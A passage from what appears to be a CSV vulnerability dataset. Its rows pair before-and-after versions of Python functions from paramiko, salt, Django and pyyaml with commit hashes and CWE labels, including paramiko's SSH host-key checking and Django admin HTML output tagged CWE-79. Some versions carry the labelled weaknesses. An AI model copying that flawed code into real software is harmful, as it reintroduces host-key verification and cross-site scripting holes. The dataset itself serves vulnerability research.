        :param float auth_timeout: an optional timeout (in seconds) to wait for
            an authentication response.

        :raises:
            `.BadHostKeyException` -- if the server's host key could not be
            verified
        :raises: `.AuthenticationException` -- if authentication failed
        :raises:
            `.SSHException` -- if there was any other error connecting or
            establishing an SSH session
        :raises socket.error: if a socket error occurred while connecting

        .. versionchanged:: 1.15
            Added the ``banner_timeout``, ``gss_auth``, ``gss_kex``,
            ``gss_deleg_creds`` and ``gss_host`` arguments.
        """"""
        if not sock:
            errors = {}
            # Try multiple possible address families (e.g. IPv4 vs IPv6)
            to_try = list(self._families_and_addresses(hostname, port))
            for af, addr in to_try:
                try:
                    sock = socket.socket(af, socket.SOCK_STREAM)
                    if timeout is not None:
                        try:
                            sock.settimeout(timeout)
                        except:
                            pass
                    retry_on_signal(lambda: sock.connect(addr))
                    # Break out of the loop on success
                    break
                except socket.error as e:
                    # Raise anything that isn't a straight up connection error
                    # (such as a resolution error)
                    if e.errno not in (ECONNREFUSED, EHOSTUNREACH):
                        raise
                    # Capture anything else so we know how the run looks once
                    # iteration is complete. Retain info about which attempt
                    # this was.
                    errors[addr] = e

            # Make sure we explode usefully if no address family attempts
            # succeeded. We've no way of knowing which error is the ""right""
            # one, so we construct a hybrid exception containing all the real
            # ones, of a subclass that client code should still be watching for
            # (socket.error)
            if len(errors) == len(to_try):
                raise NoValidConnectionsError(errors)

        t = self._transport = Transport(
            sock, gss_kex=gss_kex, gss_deleg_creds=gss_deleg_creds)
        t.use_compression(compress=compress)
        if gss_kex and gss_host is None:
            t.set_gss_host(hostname)
        elif gss_kex and gss_host is not None:
            t.set_gss_host(gss_host)
        else:
            pass
        if self._log_channel is not None:
            t.set_log_channel(self._log_channel)
        if banner_timeout is not None:
            t.banner_timeout = banner_timeout
        if auth_timeout is not None:
            t.auth_timeout = auth_timeout

        if port == SSH_PORT:
            server_hostkey_name = hostname
        else:
            server_hostkey_name = ""[%s]:%d"" % (hostname, port)
        our_server_keys = None

        our_server_keys = self._system_host_keys.get(server_hostkey_name)
        if our_server_keys is None:
            our_server_keys = self._host_keys.get(server_hostkey_name)
        if our_server_keys is not None:
            keytype = our_server_keys.keys()[0]
            sec_opts = t.get_security_options()
            other_types = [x for x in sec_opts.key_types if x != keytype]
            sec_opts.key_types = [keytype] + other_types

        t.start_client(timeout=timeout)

        # If GSS-API Key Exchange is performed we are not required to check the
        # host key, because the host is authenticated via GSS-API / SSPI as
        # well as our client.
        if not self._transport.gss_kex_used:
            server_key = t.get_remote_server_key()
            if our_server_keys is None:
                # will raise exception if the key is rejected
                self._policy.missing_host_key(
                    self, server_hostkey_name, server_key
                )
            else:
                our_key = our_server_keys.get(server_key.get_name())
                if our_key != server_key:
                    if our_key is None:
                        our_key = list(our_server_keys.values())[0]
                    raise BadHostKeyException(hostname, server_key, our_key)

        if username is None:
            username = getpass.getuser()

        if key_filename is None:
            key_filenames = []
        elif isinstance(key_filename, string_types):
            key_filenames = [key_filename]
        else:
            key_filenames = key_filename
        if gss_host is None:
            gss_host = hostname
        self._auth(username, password, pkey, key_filenames, allow_agent,
                   look_for_keys, gss_auth, gss_kex, gss_deleg_creds, gss_host)",CWE-703,paramiko/paramiko,f1c677d0abeeb27971465b3affed11e70299515d,"def connect(
        self,
        hostname,
        port=SSH_PORT,
        username=None,
        password=None,
        pkey=None,
        key_filename=None,
        timeout=None,
        allow_agent=True,
        look_for_keys=True,
        compress=False,
        sock=None,
        gss_auth=False,
        gss_kex=False,
        gss_deleg_creds=True,
        gss_host=None,
        banner_timeout=None,
        auth_timeout=None,
    ):
        """"""
        Connect to an SSH server and authenticate to it.  The server's host key
        is checked against the system host keys (see `load_system_host_keys`)
        and any local host keys (`load_host_keys`).  If the server's hostname
        is not found in either set of host keys, the missing host key policy
        is used (see `set_missing_host_key_policy`).  The default policy is
        to reject the key and raise an `.SSHException`.

        Authentication is attempted in the following order of priority:

            - The ``pkey`` or ``key_filename`` passed in (if any)
            - Any key we can find through an SSH agent
            - Any ""id_rsa"", ""id_dsa"" or ""id_ecdsa"" key discoverable in
              ``~/.ssh/``
            - Plain username/password auth, if a password was given

        If a private key requires a password to unlock it, and a password is
        passed in, that password will be used to attempt to unlock the key.

        :param str hostname: the server to connect to
        :param int port: the server port to connect to
        :param str username:
            the username to authenticate as (defaults to the current local
            username)
        :param str password:
            a password to use for authentication or for unlocking a private key
        :param .PKey pkey: an optional private key to use for authentication
        :param str key_filename:
            the filename, or list of filenames, of optional private key(s) to
            try for authentication
        :param float timeout:
            an optional timeout (in seconds) for the TCP connect
        :param bool allow_agent:
            set to False to disable connecting to the SSH agent
        :param bool look_for_keys:
            set to False to disable searching for discoverable private key
            files in ``~/.ssh/``
        :param bool compress: set to True to turn on compression
        :param socket sock:
            an open socket or socket-like object (such as a `.Channel`) to use
            for communication to the target host
        :param bool gss_auth:
            ``True`` if you want to use GSS-API authentication
        :param bool gss_kex:
            Perform GSS-API Key Exchange and user authentication
        :param bool gss_deleg_creds: Delegate GSS-API client credentials or not
        :param str gss_host:
            The targets name in the kerberos database. default: hostname
        :param float banner_timeout: an optional timeout (in seconds) to wait
            for the SSH banner to be presented.
        :param float auth_timeout: an optional timeout (in seconds) to wait for
            an authentication response.

        :raises:
            `.BadHostKeyException` -- if the server's host key could not be
            verified
        :raises: `.AuthenticationException` -- if authentication failed
        :raises:
            `.SSHException` -- if there was any other error connecting or
            establishing an SSH session
        :raises socket.error: if a socket error occurred while connecting

        .. versionchanged:: 1.15
            Added the ``banner_timeout``, ``gss_auth``, ``gss_kex``,
            ``gss_deleg_creds`` and ``gss_host`` arguments.
        """"""
        if not sock:
            errors = {}
            # Try multiple possible address families (e.g. IPv4 vs IPv6)
            to_try = list(self._families_and_addresses(hostname, port))
            for af, addr in to_try:
                try:
                    sock = socket.socket(af, socket.SOCK_STREAM)
                    if timeout is not None:
                        try:
                            sock.settimeout(timeout)
                        except:
                            pass
                    retry_on_signal(lambda: sock.connect(addr))
                    # Break out of the loop on success
                    break
                except socket.error as e:
                    # Raise anything that isn't a straight up connection error
                    # (such as a resolution error)
                    if e.errno not in (ECONNREFUSED, EHOSTUNREACH):
                        raise
                    # Capture anything else so we know how the run looks once
                    # iteration is complete. Retain info about which attempt
                    # this was.
                    errors[addr] = e

            # Make sure we explode usefully if no address family attempts
            # succeeded. We've no way of knowing which error is the ""right""
            # one, so we construct a hybrid exception containing all the real
            # ones, of a subclass that client code should still be watching for
            # (socket.error)
            if len(errors) == len(to_try):
                raise NoValidConnectionsError(errors)

        t = self._transport = Transport(
            sock, gss_kex=gss_kex, gss_deleg_creds=gss_deleg_creds)
        t.use_compression(compress=compress)
        if gss_kex and gss_host is None:
            t.set_gss_host(hostname)
        elif gss_kex and gss_host is not None:
            t.set_gss_host(gss_host)
        else:
            pass
        if self._log_channel is not None:
            t.set_log_channel(self._log_channel)
        if banner_timeout is not None:
            t.banner_timeout = banner_timeout
        if auth_timeout is not None:
            t.auth_timeout = auth_timeout

        if port == SSH_PORT:
            server_hostkey_name = hostname
        else:
            server_hostkey_name = ""[%s]:%d"" % (hostname, port)
        our_server_keys = None

        # If GSS-API Key Exchange is performed we are not required to check the
        # host key, because the host is authenticated via GSS-API / SSPI as
        # well as our client.
        if not self._transport.use_gss_kex:
            our_server_keys = self._system_host_keys.get(server_hostkey_name)
            if our_server_keys is None:
                our_server_keys = self._host_keys.get(server_hostkey_name)
            if our_server_keys is not None:
                keytype = our_server_keys.keys()[0]
                sec_opts = t.get_security_options()
                other_types = [x for x in sec_opts.key_types if x != keytype]
                sec_opts.key_types = [keytype] + other_types

        t.start_client(timeout=timeout)

        if not self._transport.use_gss_kex:
            server_key = t.get_remote_server_key()
            if our_server_keys is None:
                # will raise exception if the key is rejected
                self._policy.missing_host_key(
                    self, server_hostkey_name, server_key
                )
            else:
                our_key = our_server_keys.get(server_key.get_name())
                if our_key != server_key:
                    if our_key is None:
                        our_key = list(our_server_keys.values())[0]
                    raise BadHostKeyException(hostname, server_key, our_key)

        if username is None:
            username = getpass.getuser()

        if key_filename is None:
            key_filenames = []
        elif isinstance(key_filename, string_types):
            key_filenames = [key_filename]
        else:
            key_filenames = key_filename
        if gss_host is None:
            gss_host = hostname
        self._auth(username, password, pkey, key_filenames, allow_agent,
                   look_for_keys, gss_auth, gss_kex, gss_deleg_creds, gss_host)"
,UNKNOWN,UNKNOWN,tests/unit/utils/test_cache.py,1,"def test_read_old_format_support(self):
        '''
        Test _read() support old format of the cache.
        :return:
        '''
        logger = MagicMock()
        with patch('salt.utils.cache.log', logger):
            c = cache.CacheDisk(0, '/dev/nowhere')
            assert 'banana' in c
            assert 'status' in c['banana']  # pylint: disable=E1135
            assert c['banana']['status'] == 'rotten'
            assert c['banana'] == c._dict['banana']
            assert 'banana' in c._key_cache_time
            assert c._key_cache_time['banana'] == 42",CWE-703,saltstack/salt,a4d49c6c01aaf973529445175cace2f4334d40f5,"def test_read_old_format_support(self):
        '''
        Test _read() support old format of the cache.
        :return:
        '''
        logger = MagicMock()
        with patch('salt.utils.cache.log', logger):
            c = cache.CacheDisk(0, '/dev/nowhere')
            assert 'banana' in c
            assert 'status' in c['banana']
            assert c['banana']['status'] == 'rotten'
            assert c['banana'] == c._dict['banana']
            assert 'banana' in c._key_cache_time
            assert c._key_cache_time['banana'] == 42"
,UNKNOWN,UNKNOWN,django/contrib/admin/templatetags/admin_list.py,1,"def items_for_result(cl, result, form):
    """"""
    Generates the actual list of data.
    """"""
    first = True
    pk = cl.lookup_opts.pk.attname
    for field_name in cl.list_display:
        row_class = ''
        try:
            f, attr, value = lookup_field(field_name, result, cl.model_admin)
        except (AttributeError, ObjectDoesNotExist):
            result_repr = EMPTY_CHANGELIST_VALUE
        else:
            if f is None:
                allow_tags = getattr(attr, 'allow_tags', False)
                boolean = getattr(attr, 'boolean', False)
                if boolean:
                    allow_tags = True
                    result_repr = _boolean_icon(value)
                else:
                    result_repr = smart_unicode(value)
                # Strip HTML tags in the resulting text, except if the
                # function has an ""allow_tags"" attribute set to True.
                if not allow_tags:
                    result_repr = escape(result_repr)
                else:
                    result_repr = mark_safe(result_repr)
            else:
                if isinstance(f.rel, models.ManyToOneRel):
                    field_val = getattr(result, f.name)
                    if field_val is None:
                        result_repr = EMPTY_CHANGELIST_VALUE
                    else:
                        result_repr = escape(field_val)
                else:
                    result_repr = display_for_field(value, f)
                if isinstance(f, models.DateField) or isinstance(f, models.TimeField):
                    row_class = ' class=""nowrap""'
        if force_unicode(result_repr) == '':
            result_repr = mark_safe('&nbsp;')
        # If list_display_links not defined, add the link tag to the first field
        if (first and not cl.list_display_links) or field_name in cl.list_display_links:
            table_tag = {True:'th', False:'td'}[first]
            first = False
            url = cl.url_for_result(result)
            # Convert the pk to something that can be used in Javascript.
            # Problem cases are long ints (23L) and non-ASCII strings.
            if cl.to_field:
                attr = str(cl.to_field)
            else:
                attr = pk
            value = result.serializable_value(attr)
            result_id = repr(force_unicode(value))[1:]
            yield mark_safe(u'<%s%s><a href=""%s""%s>%s</a></%s>' % \
                (table_tag, row_class, url, (cl.is_popup and ' onclick=""opener.dismissRelatedLookupPopup(window, %s); return false;""' % result_id or ''), conditional_escape(result_repr), table_tag))
        else:
            # By default the fields come from ModelAdmin.list_editable, but if we pull
            # the fields out of the form instead of list_editable custom admins
            # can provide fields on a per request basis
            if form and field_name in form.fields:
                bf = form[field_name]
                result_repr = mark_safe(force_unicode(bf.errors) + force_unicode(bf))
            else:
                result_repr = conditional_escape(result_repr)
            yield mark_safe(u'<td%s>%s</td>' % (row_class, result_repr))
    if form and not form[cl.model._meta.pk.name].is_hidden:
        yield mark_safe(u'<td>%s</td>' % force_unicode(form[cl.model._meta.pk.name]))",CWE-79,django/django,19fa3bcebc979f20ed00f1aa1d09ff2ebf7e0473,"def items_for_result(cl, result, form):
    """"""
    Generates the actual list of data.
    """"""
    first = True
    pk = cl.lookup_opts.pk.attname
    for field_name in cl.list_display:
        row_class = ''
        try:
            f, attr, value = lookup_field(field_name, result, cl.model_admin)
        except (AttributeError, ObjectDoesNotExist):
            result_repr = EMPTY_CHANGELIST_VALUE
        else:
            if f is None:
                allow_tags = getattr(attr, 'allow_tags', False)
                boolean = getattr(attr, 'boolean', False)
                if boolean:
                    allow_tags = True
                    result_repr = _boolean_icon(value)
                else:
                    result_repr = smart_unicode(value)
                # Strip HTML tags in the resulting text, except if the
                # function has an ""allow_tags"" attribute set to True.
                if not allow_tags:
                    result_repr = escape(result_repr)
                else:
                    result_repr = mark_safe(result_repr)
            else:
                if value is None:
                    result_repr = EMPTY_CHANGELIST_VALUE
                if isinstance(f.rel, models.ManyToOneRel):
                    field_val = getattr(result, f.name)
                    if field_val is None:
                        result_repr = EMPTY_CHANGELIST_VALUE
                    else:
                        result_repr = escape(field_val)
                else:
                    result_repr = display_for_field(value, f)
                if isinstance(f, models.DateField) or isinstance(f, models.TimeField):
                    row_class = ' class=""nowrap""'
        if force_unicode(result_repr) == '':
            result_repr = mark_safe('&nbsp;')
        # If list_display_links not defined, add the link tag to the first field
        if (first and not cl.list_display_links) or field_name in cl.list_display_links:
            table_tag = {True:'th', False:'td'}[first]
            first = False
            url = cl.url_for_result(result)
            # Convert the pk to something that can be used in Javascript.
            # Problem cases are long ints (23L) and non-ASCII strings.
            if cl.to_field:
                attr = str(cl.to_field)
            else:
                attr = pk
            value = result.serializable_value(attr)
            result_id = repr(force_unicode(value))[1:]
            yield mark_safe(u'<%s%s><a href=""%s""%s>%s</a></%s>' % \
                (table_tag, row_class, url, (cl.is_popup and ' onclick=""opener.dismissRelatedLookupPopup(window, %s); return false;""' % result_id or ''), conditional_escape(result_repr), table_tag))
        else:
            # By default the fields come from ModelAdmin.list_editable, but if we pull
            # the fields out of the form instead of list_editable custom admins
            # can provide fields on a per request basis
            if form and field_name in form.fields:
                bf = form[field_name]
                result_repr = mark_safe(force_unicode(bf.errors) + force_unicode(bf))
            else:
                result_repr = conditional_escape(result_repr)
            yield mark_safe(u'<td%s>%s</td>' % (row_class, result_repr))
    if form and not form[cl.model._meta.pk.name].is_hidden:
        yield mark_safe(u'<td>%s</td>' % force_unicode(form[cl.model._meta.pk.name]))"
functions_for_yaml_with_cwe.csv,UNKNOWN,UNKNOWN,lib/yaml/emitter.py,0,"def analyze_scalar(self, scalar):

        # Empty scalar is a special case.
        if not scalar:
            return ScalarAnalysis(scalar=scalar, empty=True, multiline=False,
                    allow_flow_plain=False, allow_block_plain=True,
                    allow_single_quoted=True, allow_double_quoted=True,
                    allow_block=False)

        # Indicators and special characters.
        block_indicators = False
        flow_indicators = False
        line_breaks = False
        special_characters = False

        # Whitespaces.
        inline_spaces = False          # non-space space+ non-space
        inline_breaks = False          # non-space break+ non-space
        leading_spaces = False         # ^ space+ (non-space | $)
        leading_breaks = False         # ^ break+ (non-space | $)
        trailing_spaces = False        # (^ | non-space) space+ $
        trailing_breaks = False        # (^ | non-space) break+ $
        inline_breaks_spaces = False   # non-space break+ space+ non-space
        mixed_breaks_spaces = False    # anything else

        # Check document indicators.
        if scalar.startswith(u'---') or scalar.startswith(u'...'):
            block_indicators = True
            flow_indicators = True

        # First character or preceded by a whitespace.
        preceeded_by_space = True

        # Last character or followed by a whitespace.
        followed_by_space = (len(scalar) == 1 or
                scalar[1] in u'\0 \t\r\n\x85\u2028\u2029')

        # The current series of whitespaces contain plain spaces.
        spaces = False

        # The current series of whitespaces contain line breaks.
        breaks = False

        # The current series of whitespaces contain a space followed by a
        # break.
        mixed = False

        # The current series of whitespaces start at the beginning of the
        # scalar.
        leading = False

        index = 0
        while index < len(scalar):
            ch = scalar[index]

            # Check for indicators.

            if index == 0:
                # Leading indicators are special characters.
                if ch in u'#,[]{}#&*!|>\'\""%@`': 
                    flow_indicators = True
                    block_indicators = True
                if ch in u'?:':
                    flow_indicators = True
                    if followed_by_space:
                        block_indicators = True
                if ch == u'-' and followed_by_space:
                    flow_indicators = True
                    block_indicators = True
            else:
                # Some indicators cannot appear within a scalar as well.
                if ch in u',?[]{}':
                    flow_indicators = True
                if ch == u':':
                    flow_indicators = True
                    if followed_by_space:
                        block_indicators = True
                if ch == u'#' and preceeded_by_space:
                    flow_indicators = True
                    block_indicators = True

            # Check for line breaks, special, and unicode characters.

            if ch in u'\n\x85\u2028\u2029':
                line_breaks = True
            if not (ch == u'\n' or u'\x20' <= ch <= u'\x7E'):
                if (ch == u'\x85' or u'\xA0' <= ch <= u'\uD7FF'
                        or u'\uE000' <= ch <= u'\uFFFD') and ch != u'\uFEFF':
                    unicode_characters = True
                    if not self.allow_unicode:
                        special_characters = True
                else:
                    special_characters = True

            # Spaces, line breaks, and how they are mixed. State machine.

            # Start or continue series of whitespaces.
            if ch in u' \n\x85\u2028\u2029':
                if spaces and breaks:
                    if ch != u' ':      # break+ (space+ break+)    => mixed
                        mixed = True
                elif spaces:
                    if ch != u' ':      # (space+ break+)   => mixed
                        breaks = True
                        mixed = True
                elif breaks:
                    if ch == u' ':      # break+ space+
                        spaces = True
                else:
                    leading = (index == 0)
                    if ch == u' ':      # space+
                        spaces = True
                    else:               # break+
                        breaks = True

            # Series of whitespaces ended with a non-space.
            elif spaces or breaks:
                if leading:
                    if spaces and breaks:
                        mixed_breaks_spaces = True
                    elif spaces:
                        leading_spaces = True
                    elif breaks:
                        leading_breaks = True
                else:
                    if mixed:
                        mixed_breaks_spaces = True
                    elif spaces and breaks:
                        inline_breaks_spaces = True
                    elif spaces:
                        inline_spaces = True
                    elif breaks:
                        inline_breaks = True
                spaces = breaks = mixed = leading = False

            # Series of whitespaces reach the end.
            if (spaces or breaks) and (index == len(scalar)-1):
                if spaces and breaks:
                    mixed_breaks_spaces = True
                elif spaces:
                    trailing_spaces = True
                    if leading:
                        leading_spaces = True
                elif breaks:
                    trailing_breaks = True
                    if leading:
                        leading_breaks = True
                spaces = breaks = mixed = leading = False

            # Prepare for the next character.
            index += 1
            preceeded_by_space = (ch in u'\0 \t\r\n\x85\u2028\u2029')
            followed_by_space = (index+1 >= len(scalar) or
                    scalar[index+1] in u'\0 \t\r\n\x85\u2028\u2029')

        # Let's decide what styles are allowed.
        allow_flow_plain = True
        allow_block_plain = True
        allow_single_quoted = True
        allow_double_quoted = True
        allow_block = True

        # Leading and trailing whitespace are bad for plain scalars. We also
        # do not want to mess with leading whitespaces for block scalars.
        if leading_spaces or leading_breaks or trailing_spaces:
            allow_flow_plain = allow_block_plain = allow_block = False

        # Trailing breaks are fine for block scalars, but unacceptable for
        # plain scalars.
        if trailing_breaks:
            allow_flow_plain = allow_block_plain = False

        # The combination of (space+ break+) is only acceptable for block
        # scalars.
        if inline_breaks_spaces:
            allow_flow_plain = allow_block_plain = allow_single_quoted = False

        # Mixed spaces and breaks, as well as special character are only
        # allowed for double quoted scalars.
        if mixed_breaks_spaces or special_characters:
            allow_flow_plain = allow_block_plain =  \
            allow_single_quoted = allow_block = False

        # We don't emit multiline plain scalars.
        if line_breaks:
            allow_flow_plain = allow_block_plain = False

        # Flow indicators are forbidden for flow plain scalars.
        if flow_indicators:
            allow_flow_plain = False

        # Block indicators are forbidden for block plain scalars.
        if block_indicators:
            allow_block_plain = False

        return ScalarAnalysis(scalar=scalar,
                empty=False, multiline=line_breaks,
                allow_flow_plain=allow_flow_plain,
                allow_block_plain=allow_block_plain,
                allow_single_quoted=allow_single_quoted,
                allow_double_quoted=allow_double_quoted,
                allow_block=allow_block)",,yaml/pyyaml,74f8caa6fb610cd287e71b658b4175aea5241d78,"def analyze_scalar(self, scalar):

        # Empty scalar is a special case.
        if not scalar:
            return ScalarAnalysis(scalar=scalar, empty=True, multiline=False,
                    allow_flow_plain=False, allow_block_plain=True,
                    allow_single_quoted=True, allow_double_quoted=True,
                    allow_block=False)

        # Indicators and special characters.
        block_indicators = False
        flow_indicators = False
        line_breaks = False
        special_characters = False

        # Whitespaces.
        inline_spaces = False          # non-space space+ non-space
        inline_breaks = False          # non-space break+ non-space
        leading_spaces = False         # ^ space+ (non-space | $)
        leading_breaks = False         # ^ break+ (non-space | $)
        trailing_spaces = False        # (^ | non-space) space+ $
        trailing_breaks = False        # (^ | non-space) break+ $
        inline_breaks_spaces = False   # non-space break+ space+ non-space
        mixed_breaks_spaces = False    # anything else

        # Check document indicators.
        if scalar.startswith(u'---') or scalar.startswith(u'...'):
            block_indicators = True
            flow_indicators = True

        # First character or preceded by a whitespace.
        preceeded_by_space = True

        # Last character or followed by a whitespace.
        followed_by_space = (len(scalar) == 1 or
                scalar[1] in u'\0 \t\r\n\x85\u2028\u2029')

        # The current series of whitespaces contain plain spaces.
        spaces = False

        # The current series of whitespaces contain line breaks.
        breaks = False

        # The current series of whitespaces contain a space followed by a
        # break.
        mixed = False

        # The current series of whitespaces start at the beginning of the
        # scalar.
        leading = False

        index = 0
        while index < len(scalar):
            ch = scalar[index]

            # Check for indicators.

            if index == 0:
                # Leading indicators are special characters.
                if ch in u'#,[]{}#&*!|>\'\""%@`': 
                    flow_indicators = True
                    block_indicators = True
                if ch in u'?:':
                    flow_indicators = True
                    if followed_by_space:
                        block_indicators = True
                if ch == u'-' and followed_by_space:
                    flow_indicators = True
                    block_indicators = True
            else:
                # Some indicators cannot appear within a scalar as well.
                if ch in u',?[]{}':
                    flow_indicators = True
                if ch == u':':
                    flow_indicators = True
                    if followed_by_space:
                        block_indicators = True
                if ch == u'#' and preceeded_by_space:
                    flow_indicators = True
                    block_indicators = True

            # Check for line breaks, special, and unicode characters.

            if ch in u'\n\x85\u2028\u2029':
                line_breaks = True
            if not (ch == u'\n' or u'\x20' <= ch <= u'\x7E'):
                if ch < u'\x80' or ch == u'\uFEFF': # '\uFEFF' is BOM.
                    special_characters = True
                else:
                    unicode_characters = True
                    if not self.allow_unicode:
                        special_characters = True

            # Spaces, line breaks, and how they are mixed. State machine.

            # Start or continue series of whitespaces.
            if ch in u' \n\x85\u2028\u2029':
                if spaces and breaks:
                    if ch != u' ':      # break+ (space+ break+)    => mixed
                        mixed = True
                elif spaces:
                    if ch != u' ':      # (space+ break+)   => mixed
                        breaks = True
                        mixed = True
                elif breaks:
                    if ch == u' ':      # break+ space+
                        spaces = True
                else:
                    leading = (index == 0)
                    if ch == u' ':      # space+
                        spaces = True
                    else:               # break+
                        breaks = True

            # Series of whitespaces ended with a non-space.
            elif spaces or breaks:
                if leading:
                    if spaces and breaks:
                        mixed_breaks_spaces = True
                    elif spaces:
                        leading_spaces = True
                    elif breaks:
                        leading_breaks = True
                else:
                    if mixed:
                        mixed_breaks_spaces = True
                    elif spaces and breaks:
                        inline_breaks_spaces = True
                    elif spaces:
                        inline_spaces = True
                    elif breaks:
                        inline_breaks = True
                spaces = breaks = mixed = leading = False

            # Series of whitespaces reach the end.
            if (spaces or breaks) and (index == len(scalar)-1):
                if spaces and breaks:
                    mixed_breaks_spaces = True
                elif spaces:
                    trailing_spaces = True
                    if leading:
                        leading_spaces = True
                elif breaks:
                    trailing_breaks = True
                    if leading:
                        leading_breaks = True
                spaces = breaks = mixed = leading = False

            # Prepare for the next character.
            index += 1
            preceeded_by_space = (ch in u'\0 \t\r\n\x85\u2028\u2029')
            followed_by_space = (index+1 >= len(scalar) or
                    scalar[index+1] in u'\0 \t\r\n\x85\u2028\u2029')

        # Let's decide what styles are allowed.
        allow_flow_plain = True
        allow_block_plain = True
        allow_single_quoted = True
        allow_double_quoted = True
        allow_block = True

        # Leading and trailing whitespace are bad for plain scalars. We also
        # do not want to mess with leading whitespaces for block scalars.
        if leading_spaces or leading_breaks or trailing_spaces:
            allow_flow_plain = allow_block_plain = allow_block = False

        # Trailing breaks are fine for block scalars, but unacceptable for
        # plain scalars.
        if trailing_breaks:
            allow_flow_plain = allow_block_plain = False

        # The combination of (space+ break+) is only acceptable for block
        # scalars.
        if inline_breaks_spaces:
            allow_flow_plain = allow_block_plain = allow_single_quoted = False

        # Mixed spaces and breaks, as well as special character are only
        # allowed for double quoted scalars.
        if mixed_breaks_spaces or special_characters:
            allow_flow_plain = allow_block_plain =  \
            allow_single_quoted = allow_block = False

        # We don't emit multiline plain scalars.
        if line_breaks:
            allow_flow_plain = allow_block_plain = False

        # Flow indicators are forbidden for flow plain scalars.
        if flow_indicators:
            allow_flow_plain = False

        # Block indicators are forbidden for block plain scalars.
        if block_indicators:
            allow_block_plain = False

        return ScalarAnalysis(scalar=scalar,
                empty=False, multiline=line_breaks,
                allow_flow_plain=allow_flow_plain,
                allow_block_plain=allow_block_plain,
                allow_single_quoted=allow_single_quoted,
                allow_double_quoted=allow_double_quoted,
                allow_block=allow_block)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/minion.py,0,"def tune_in(self):
        '''
        Lock onto the publisher. This is the main event loop for the minion
        :rtype : None
        '''
        self._pre_tune()

        # Properly exit if a SIGTERM is signalled
        signal.signal(signal.SIGTERM, self.clean_die)

        log.debug('Minion {0!r} trying to tune in'.format(self.opts['id']))

        self._prepare_minion_event_system()

        self.socket = self.context.socket(zmq.SUB)

        self._set_reconnect_ivl()
        self._setsockopts()
        self._set_monitor_socket()

        self.socket.connect(self.master_pub)
        self.poller.register(self.socket, zmq.POLLIN)
        self.poller.register(self.epull_sock, zmq.POLLIN)

        self._fire_master_minion_start()
        log.info('Minion is ready to receive requests!')

        # Make sure to gracefully handle SIGUSR1
        enable_sigusr1_handler()

        # Make sure to gracefully handle CTRL_LOGOFF_EVENT
        salt.utils.enable_ctrl_logoff_handler()

        # On first startup execute a state run if configured to do so
        self._state_run()

        loop_interval = int(self.opts['loop_interval'])

        try:
            if self.opts['grains_refresh_every']:  # If exists and is not zero. In minutes, not seconds!
                if self.opts['grains_refresh_every'] > 1:
                    log.debug(
                        'Enabling the grains refresher. Will run every {0} minutes.'.format(
                            self.opts['grains_refresh_every'])
                    )
                else:  # Clean up minute vs. minutes in log message
                    log.debug(
                        'Enabling the grains refresher. Will run every {0} minute.'.format(
                            self.opts['grains_refresh_every'])

                    )
                self._refresh_grains_watcher(
                    abs(self.opts['grains_refresh_every'])
                )
        except Exception as exc:
            log.error(
                'Exception occurred in attempt to initialize grain refresh routine during minion tune-in: {0}'.format(
                    exc)
            )

        ping_interval = self.opts.get('ping_interval', 0) * 60
        ping_at = None

        while self._running is True:
            loop_interval = self.process_schedule(self, loop_interval)
            self._windows_thread_cleanup()
            try:
                socks = self._do_poll(loop_interval)

                if ping_interval > 0:
                    if socks or not ping_at:
                        ping_at = time.time() + ping_interval
                    if ping_at < time.time():
                        log.debug('Ping master')
                        self._fire_master('ping', 'minion_ping')
                        ping_at = time.time() + ping_interval

                self._do_socket_recv(socks)

                # Check the event system
                if socks.get(self.epull_sock) == zmq.POLLIN:
                    package = self.epull_sock.recv(zmq.NOBLOCK)
                    try:
                        self.handle_event(package)
                        self.epub_sock.send(package)
                    except Exception:
                        log.debug('Exception while handling events', exc_info=True)
                    # Add an extra fallback in case a forked process leeks through
                    multiprocessing.active_children()

            except zmq.ZMQError as exc:
                # The interrupt caused by python handling the
                # SIGCHLD. Throws this error with errno == EINTR.
                # Nothing to receive on the zmq socket throws this error
                # with EAGAIN.
                # Both are safe to ignore
                if exc.errno != errno.EAGAIN and exc.errno != errno.EINTR:
                    log.critical('Unexpected ZMQError while polling minion',
                                 exc_info=True)
                continue
            except SaltClientError:
                raise
            except Exception:
                log.critical(
                    'An exception occurred while polling the minion',
                    exc_info=True
                )
            # Process Beacons
            try:
                beacons = self.process_beacons(self.functions)
            except Exception:
                log.critical('The beacon errored: ', exc_info=True)
            if beacons:
                self._fire_master(events=beacons)",,saltstack/salt,fe277909396bf072048e42a27a8d83e1df3547ae,"def tune_in(self):
        '''
        Lock onto the publisher. This is the main event loop for the minion
        :rtype : None
        '''
        self._pre_tune()

        # Properly exit if a SIGTERM is signalled
        signal.signal(signal.SIGTERM, self.clean_die)

        log.debug('Minion {0!r} trying to tune in'.format(self.opts['id']))

        self._prepare_minion_event_system()

        self.socket = self.context.socket(zmq.SUB)

        self._set_reconnect_ivl()
        self._setsockopts()
        self._set_monitor_socket()

        self.socket.connect(self.master_pub)
        self.poller.register(self.socket, zmq.POLLIN)
        self.poller.register(self.epull_sock, zmq.POLLIN)

        self._fire_master_minion_start()
        log.info('Minion is ready to receive requests!')

        # Make sure to gracefully handle SIGUSR1
        enable_sigusr1_handler()

        # Make sure to gracefully handle CTRL_LOGOFF_EVENT
        salt.utils.enable_ctrl_logoff_handler()

        # On first startup execute a state run if configured to do so
        self._state_run()

        loop_interval = int(self.opts['loop_interval'])

        try:
            if self.opts['grains_refresh_every']:  # If exists and is not zero. In minutes, not seconds!
                if self.opts['grains_refresh_every'] > 1:
                    log.debug(
                        'Enabling the grains refresher. Will run every {0} minutes.'.format(
                            self.opts['grains_refresh_every'])
                    )
                else:  # Clean up minute vs. minutes in log message
                    log.debug(
                        'Enabling the grains refresher. Will run every {0} minute.'.format(
                            self.opts['grains_refresh_every'])

                    )
                self._refresh_grains_watcher(
                    abs(self.opts['grains_refresh_every'])
                )
        except Exception as exc:
            log.error(
                'Exception occurred in attempt to initialize grain refresh routine during minion tune-in: {0}'.format(
                    exc)
            )

        ping_interval = self.opts.get('ping_interval', 0) * 60
        ping_at = None

        while self._running is True:
            loop_interval = self.process_schedule(self, loop_interval)
            self._windows_thread_cleanup()
            try:
                socks = self._do_poll(loop_interval)

                if ping_interval > 0:
                    if socks or not ping_at:
                        ping_at = time.time() + ping_interval
                    if ping_at < time.time():
                        log.debug('Ping master')
                        self._fire_master('ping', 'minion_ping')
                        ping_at = time.time() + ping_interval

                self._do_socket_recv(socks)

                # Check the event system
                if socks.get(self.epull_sock) == zmq.POLLIN:
                    package = self.epull_sock.recv(zmq.NOBLOCK)
                    try:
                        self.handle_event(package)
                        self.epub_sock.send(package)
                    except Exception:
